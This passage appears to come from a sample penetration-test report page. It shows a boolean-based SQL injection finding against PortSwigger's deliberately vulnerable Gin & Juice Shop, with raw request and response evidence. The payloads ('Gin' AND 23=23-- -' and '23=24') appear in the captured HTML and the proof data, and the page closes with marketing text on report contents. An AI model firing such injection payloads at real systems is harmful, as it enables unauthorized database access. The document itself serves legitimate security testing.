                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 23=23-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 23=23-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <section class="container-list-tiles">
                            <a href="/catalog/product?productId=1">
                                <img src="/image/scanme/productcatalog/products/pineapple_edition.png">
                                <h3>Pineapple Edition Cocktail</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=6">
                                <img src="/image/scanme/productcatalog/products/batch_1337.png">
                                <h3>Batch 1337 Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=10">
                                <img src="/image/scanme/productcatalog/products/2.png">
                                <h3>Sloe Gin Timer Kit</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$85.78</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=13">
                                <img src="/image/scanme/productcatalog/products/6.png">
                                <h3>Orange Gin Finest</h3>
                                <img src="/resources/images/rating2.png">
                                <span class="price">$64.64</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=14">
                                <img src="/image/scanme/productcatalog/products/kettle_still.png">
                                <h3>Kettle Still Edition Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=15">
                                <img src="/image/scanme/productcatalog/products/original_dry_sqli.png">
                                <h3>Original Dry SQLi Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=16">
                                <img src="/image/scanme/productcatalog/products/purple_hat.png">
                                <h3>Purple Hat Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$100.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=17">
                                <img src="/image/scanme/productcatalog/products/lost_in_a_heyes.png">
                                <h3>Lost in a Heyes Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=18">
                                <img src="/image/scanme/productcatalog/products/4.png">
                                <h3>Gin Flavouring Gift Box</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$68.70</span>
                                <span class="button">View details</span>
                            </a>
                        </section>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[1].falseId · r48 · 17b0a39f-e6ae-4d41-b5ba-b58d34ed380c
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D24--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:16 GMT
    content-type: text/html; charset=utf-8
    content-length: 9406
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:16 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:16 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 23=24-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 23=24-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <div class="no-results">
                            <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                            <h2>Sorry! No result found</h2>
                            <div>But don't give up - check the spelling or try less specific search terms.</div>
                        </div>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Typed proof

Kind
sqli-boolean
Parameter
query:category
Marker
Sloe Gin Timer Kit
Baseline
r44
Pair 1
true r45 · false r46
Pair 2
true r47 · false r48

Observed effect

kind
typed-proof
outcome
{"parameter":"query:category","marker":"Sloe Gin Timer Kit","baseline":{"requestId":"9a00516b-5f9c-4d0d-bd82-0e62b9f70478","markerPresent":true},"pairs":[{"trueRequestId":"6ef999e9-55e1-441c-adb1-5c632c43526b","falseRequestId":"19e46792-d3ff-429b-9cee-aa7c1bc7373c","trueMarkerPresent":true,"falseMarkerPresent":false},{"trueRequestId":"3cabd302-618f-4b09-b955-694a3f4dad46","falseRequestId":"17b0a39f-e6ae-4d41-b5ba-b58d34ed380c","trueMarkerPresent":true,"falseMarkerPresent":false}]}
version
1
signature
sqli-boolean
details
The baseline and true/false responses were checked for the marker.

Derived severity metrics

  • PR=N: credential-free attack request; credential-free attack request; credential-free attack request; credential-free attack request

Open the full report: all nine findings from this run, the run summary and what was tested.

What's in it

What a penetration test report should contain

Every AttackerView report has all seven. Save it as a PDF and share it with your customers or your auditor.

Summary
What was tested, when, and how many findings came out of it.
Severity
A CVSS score for each finding, so you know what to fix first.
Proof of concept
The steps to reproduce the bug yourself.
Evidence
The requests and responses that show the bug is real, not a guess from a version number.
Impact
What an attacker could do with it, in plain words.
Fix
The change that closes it.
Coverage and scope
Which parts of your app were tested, and what the testers were allowed to touch.

Find out what an attacker could break in your app